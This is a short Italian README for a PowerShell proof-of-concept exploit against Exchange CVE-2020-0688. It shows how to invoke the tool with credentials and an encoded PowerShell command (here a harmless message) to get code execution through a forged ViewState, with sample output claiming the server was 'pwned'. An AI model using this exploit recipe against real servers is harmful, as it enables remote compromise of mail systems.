
PoC per Forgot2kEyXCHANGE (CVE-2020-0688) scritto in PowerShell
PoC per Forgot2kEyXCHANGE (CVE-2020-0688) scritto in PowerShell
Questo PoC richiede un nome utente e una password validi.
Questo PoC utilizza ysoserial.net per creare il nuovo ViewState che contiene il comando specificato nel parametro -Command. Se non lo hai già installato sul tuo sistema, scaricalo qui.
PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User '[email protected]' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login successfully!
[+] Generated new ViewState successfully!
[+] Got a 500 response, successfully pwned https://webmail.domain.tld !
Sentiti libero di aprire issue, contribuire e inviare le tue Pull Request. Puoi anche contattarmi su Twitter (@JustinPerdok).